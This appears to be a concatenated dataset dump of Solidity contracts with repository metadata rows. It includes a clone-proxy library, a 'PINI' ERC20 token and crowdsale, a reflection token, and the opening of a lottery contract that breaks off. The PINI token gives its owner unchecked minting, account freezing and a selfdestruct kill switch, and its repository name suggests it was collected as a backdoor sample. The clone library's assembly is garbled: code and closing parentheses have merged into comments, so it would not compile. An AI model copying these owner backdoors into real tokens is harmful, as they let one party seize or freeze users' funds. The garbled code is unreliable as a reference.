if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);
}
}
}
| 4,681 | 555 |
3ebc17e06a952f6295e07b669781be38dc4002d7aaf275b48b7d2c812585bab6
| 13,519 |
.sol
|
Solidity
| false |
532883735
|
Sol-DAO/app
|
439a7c553de16b8cdfd9ed97d5198c7d2d3d73b3
|
src/utils/ClonesWithImmutableArgs.sol
| 2,764 | 10,118 |
// SPDX-License-Identifier: BSD
pragma solidity ^0.8.4;
/// @title ClonesWithImmutableArgs
/// @author wighawag, zefram.eth, Saw-mon & Natalie, wminshew
/// @notice Enables creating clone contracts with immutable args
/// @dev extended by will@0xsplits.xyz to add receive() without DELEGECALL & create2 support
/// (h/t WyseNynja https://github.com/wighawag/clones-with-immutable-args/issues/4)
library ClonesWithImmutableArgs {
error CreateFail();
uint256 private constant FREE_MEMORY_POINTER_SLOT = 0x40;
uint256 private constant BOOTSTRAP_LENGTH = 0x6f;
uint256 private constant RUNTIME_BASE = 0x65; // BOOTSTRAP_LENGTH - 10 bytes
uint256 private constant ONE_WORD = 0x20;
// = keccak256("ReceiveETH(uint256)")
uint256 private constant RECEIVE_EVENT_SIG =
0x9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff;
/// @notice Creates a clone proxy of the implementation contract with immutable args
/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
/// @param implementation The implementation contract to clone
/// @param data Encoded immutable args
/// @return ptr The ptr to the clone's bytecode
/// @return creationSize The size of the clone to be created
function cloneCreationCode(address implementation, bytes memory data)
internal
pure
returns (uint256 ptr, uint256 creationSize)
{
// unrealistic for memory ptr or data length to exceed 256 bits
// solhint-disable-next-line no-inline-assembly
assembly {
let extraLength := add(mload(data), 2) // +2 bytes for telling how much data there is appended to the call
creationSize := add(extraLength, BOOTSTRAP_LENGTH)
let runSize := sub(creationSize, 0x0a)
// free memory pointer
ptr := mload(FREE_MEMORY_POINTER_SLOT)
// CREATION (10 bytes)
// 61 runtime | PUSH2 runtime (r) | r |
// 3d | RETURNDATASIZE | 0 r |
// 81 | DUP2 | r 0 r |
// 60 offset | PUSH1 offset (o) | o r 0 r |
// 3d | RETURNDATASIZE | 0 o r 0 r |
// 39 | CODECOPY | 0 r | [0, runSize): runtime code
// f3 | RETURN | | [0, runSize): runtime code
// RUNTIME (101 bytes + extraLength)
// --- if no calldata, emit event & return w/o `DELEGATECALL`
// 0x000 36 calldatasize cds | -
// 0x001 602f push1 0x2f 0x2f cds | -
// ,=< 0x003 57 jumpi | -
// | 0x004 34 callvalue cv | -
// | 0x005 3d returndatasize 0 cv | -
// | 0x006 52 mstore | [0, 0x20) = cv
// | 0x007 7f9e4a.. push32 0x9e4a.. id | [0, 0x20) = cv
// | 0x028 6020 push1 0x20 0x20 id | [0, 0x20) = cv
// | 0x02a 3d returndatasize 0 0x20 id | [0, 0x20) = cv
// | 0x02b a1 log1 | [0, 0x20) = cv
// | 0x02c 3d returndatasize 0 | [0, 0x20) = cv
// | 0x02d 3d returndatasize 0 0 | [0, 0x20) = cv
// | 0x02e f3 return
// `-> 0x02f 5b jumpdest
// --- copy calldata to memory ---
// 36 | CALLDATASIZE | cds |
// 3d | RETURNDATASIZE | 0 cds |
// 3d | RETURNDATASIZE | 0 0 cds |
// 37 | CALLDATACOPY | | [0 - cds): calldata
// --- keep some values in stack ---
// 3d | RETURNDATASIZE | 0 | [0 - cds): calldata
// 3d | RETURNDATASIZE | 0 0 | [0 - cds): calldata
// 3d | RETURNDATASIZE | 0 0 0 | [0 - cds): calldata
// 3d | RETURNDATASIZE | 0 0 0 0 | [0 - cds): calldata
// 61 extra | PUSH2 extra (e) | e 0 0 0 0 | [0 - cds): calldata
// --- copy extra data to memory ---
// 80 | DUP1 | e e 0 0 0 0 | [0 - cds): calldata
// 60 rb | PUSH1 rb | rb e e 0 0 0 0 | [0 - cds): calldata
// 36 | CALLDATASIZE | cds rb e e 0 0 0 0 | [0 - cds): calldata
// --- delegate call to the implementation contract ---
// --- copy return data to memory ---
// --- revert ---
// --- return ---
mstore(ptr,
or(hex"6100003d81600a3d39f336602f57343d527f", // 18 bytes
shl(0xe8, runSize)))
mstore(add(ptr, 0x12), // 0x0 + 0x12
RECEIVE_EVENT_SIG // 32 bytes)
mstore(add(ptr, 0x32), // 0x12 + 0x20
or(hex"60203da13d3df35b363d3d373d3d3d3d610000806000363936013d73", // 28 bytes
or(shl(0x68, extraLength), shl(0x50, RUNTIME_BASE))))
mstore(add(ptr, 0x4e), // 0x32 + 0x1c
shl(0x60, implementation) // 20 bytes)
mstore(add(ptr, 0x62), // 0x4e + 0x14
hex"5af43d3d93803e606357fd5bf3" // 13 bytes)
// APPENDED DATA (Accessible from extcodecopy)
// (but also send as appended data to the delegatecall)
let counter := mload(data)
let copyPtr := add(ptr, BOOTSTRAP_LENGTH)
let dataPtr := add(data, ONE_WORD)
for {} true {} {
if lt(counter, ONE_WORD) { break }
mstore(copyPtr, mload(dataPtr))
copyPtr := add(copyPtr, ONE_WORD)
dataPtr := add(dataPtr, ONE_WORD)
counter := sub(counter, ONE_WORD)
}
let mask := shl(mul(0x8, sub(ONE_WORD, counter)), not(0))
mstore(copyPtr, and(mload(dataPtr), mask))
copyPtr := add(copyPtr, counter)
mstore(copyPtr, shl(0xf0, extraLength))
// Update free memory pointer
mstore(FREE_MEMORY_POINTER_SLOT, add(ptr, creationSize))
}
}
/// @notice Creates a clone proxy of the implementation contract with immutable args
/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
/// @param implementation The implementation contract to clone
/// @param data Encoded immutable args
/// @return instance The address of the created clone
function clone(address implementation, bytes memory data)
internal
returns (address payable instance)
{
(uint256 creationPtr, uint256 creationSize) =
cloneCreationCode(implementation, data);
// solhint-disable-next-line no-inline-assembly
assembly {
instance := create(0, creationPtr, creationSize)
}
// if the create failed, the instance address won't be set
if (instance == address(0)) {
revert CreateFail();
}
}
/// @notice Creates a clone proxy of the implementation contract with immutable args
/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
/// @param implementation The implementation contract to clone
/// @param salt The salt for create2
/// @param data Encoded immutable args
/// @return instance The address of the created clone
function cloneDeterministic(address implementation,
bytes32 salt,
bytes memory data)
internal
returns (address payable instance)
{
(uint256 creationPtr, uint256 creationSize) =
cloneCreationCode(implementation, data);
// solhint-disable-next-line no-inline-assembly
assembly {
instance := create2(0, creationPtr, creationSize, salt)
}
// if the create failed, the instance address won't be set
if (instance == address(0)) {
revert CreateFail();
}
}
/// @notice Predicts the address where a deterministic clone of implementation will be deployed
/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
/// @param implementation The implementation contract to clone
/// @param salt The salt for create2
/// @param data Encoded immutable args
/// @return predicted The predicted address of the created clone
/// @return exists Whether the clone already exists
function predictDeterministicAddress(address implementation,
bytes32 salt,
bytes memory data)
internal
view
returns (address predicted, bool exists)
{
(uint256 creationPtr, uint256 creationSize) =
cloneCreationCode(implementation, data);
bytes32 creationHash;
// solhint-disable-next-line no-inline-assembly
assembly {
creationHash := keccak256(creationPtr, creationSize)
}
predicted = computeAddress(salt, creationHash, address(this));
exists = predicted.code.length > 0;
}
function computeAddress(bytes32 salt,
bytes32 bytecodeHash,
address deployer)
internal
pure
returns (address)
{
bytes32 _data =
keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));
return address(uint160(uint256(_data)));
}
}
| 9,464 | 556 |
1d1a6732fe0c16a5f6592fb696d25a697f0863347065e8c4ba1dada7c0ce40c7
| 12,247 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xacf45cb5ce7e73a7aec0f1256ae4c29f10236353.sol
| 2,393 | 9,326 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'PINI' token contract
//
// Owner Address : 0x71d9aB28EeB24Bd9f0d9e204b72810cD3acA35b3
// Symbol : PINI
// Name : PINI Token
// Total supply : 10000000
// Decimals : 18
// POWERED BY PINI Token.
// (c) by Team @ PINI Token, INC 2019.
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract ERC20 is owned {
// Public variables of the token
string public name = "PINI Token";
string public symbol = "PINI";
uint8 public decimals = 18;
uint256 public totalSupply = 10000000 * 10 ** uint256(decimals);
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public ICO_Contract;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor () public {
balanceOf[owner] = totalSupply;
}
function _transfer(address _from, address _to, uint256 _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(this, target, mintedAmount);
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @dev Set the ICO_Contract.
/// @param _ICO_Contract crowdsale contract address
function setICO_Contract(address _ICO_Contract) onlyOwner public {
ICO_Contract = _ICO_Contract;
}
}
contract Killable is owned {
function kill() onlyOwner public {
selfdestruct(owner);
}
}
contract ERC20_ICO is Killable {
/// The token we are selling
ERC20 public token;
/// the UNIX timestamp start date of the crowdsale
uint256 public startsAt = 1556712000;
/// the UNIX timestamp end date of the crowdsale
uint256 public endsAt = 1561896000;
/// the price of token
uint256 public TokenPerETH = 8000;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint256 public tokensSold = 0;
/// the number of ETH raised through this contract
uint256 public weiRaised = 0;
/// How many distinct addresses have invested
uint256 public investorCount = 0;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount);
/// Crowdsale Start time has been changed
event StartsAtChanged(uint256 startsAt);
/// Crowdsale end time has been changed
event EndsAtChanged(uint256 endsAt);
/// Calculated new price
event RateChanged(uint256 oldValue, uint256 newValue);
constructor (address _token) public {
token = ERC20(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint256 tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Emit an event that shows invested successfully
emit Invested(receiver, msg.value, tokensAmount);
// Transfer Token to owner's address
token.transfer(receiver, tokensAmount);
// Transfer Fund to owner's address
owner.transfer(address(this).balance);
}
function () public payable {
investInternal(msg.sender);
}
function setStartsAt(uint256 time) onlyOwner public {
require(!finalized);
startsAt = time;
emit StartsAtChanged(startsAt);
}
function setEndsAt(uint256 time) onlyOwner public {
require(!finalized);
endsAt = time;
emit EndsAtChanged(endsAt);
}
function setRate(uint256 value) onlyOwner public {
require(!finalized);
require(value > 0);
emit RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize() public onlyOwner {
// Finalized Pre ICO crowdsele.
finalized = true;
uint256 tokensAmount = token.balanceOf(this);
token.transfer(owner, tokensAmount);
}
}
| 143,615 | 557 |
d477edfbea92cbd61b4e11d239485746b5995288d94bd7d9c8011f638b6a0882
| 26,963 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xcEA9ff2C61c310C14a87604123616ECBB0eA292b/contract.sol
| 4,455 | 16,394 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RapperPanda is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Rapper Panda';
string private _symbol = 'RapperPanda';
uint8 private _decimals = 9;
uint private _fee = 12;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(_fee);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 256,989 | 558 |
5521d987b7aff13428bd0af2172264ad2c1ec623b1ad472181348775ee2d2361
| 13,454 |
.sol
|
Solidity
| false |
314016939
|
ShainaLowenthal/SmartContract
|
26f78e240634bbef56688ef73e8c9f00d1c8fbda
|
Lottery.sol
| 3,366 | 13,314 |
pragma solidity ^0.4.18;
contract Lottery {
uint MainLottoFunds; // funds up for grabs in main lotto
uint GuessingLottoFunds; // funds up for grabs in guessing lotto
uint WeightedLottoFunds; // funds up for grabs in weighted lotto
uint RRouletteLottoFunds; // funds up for grabs in russian roulette lotto
uint RandomRRouletteLottoFunds; // funds up for grabs in the random russian roulette
uint GuessingLottoTarget; // current guessing target in guessing lotto
uint RRouletteLottoTarget; // current guessing target in russian roulette
uint RandomRRouletteLottoTarget; // current guessing target in russian roulette with random elimination
uint GuessingLottoDifficulty; // current guessing difficulty for Guessing Lotto
uint RRouletteLottoDifficulty; // current guessing difficulty for Russian Roulette Lotto
uint RandomRRouletteLottoDifficulty; // current guessing difficulty for Randomized Russian Roulette Lotto
address[] participantsMain; // This holds all participant addresses in the main lotto
address[] participantsWeighted; // This holds all participant addresses in the weighted lotto
mapping(address => uint) public weights; // This stores each participants betting weight in the weighted lotto
address[] EliminatedParticipantsRRoulette; // This holds a list of all participants barred from the Russian roulette lotto
mapping(address => int) public EliminatedStatus; // This tracks whether a participant is banned from the russian roulette lotto or not.
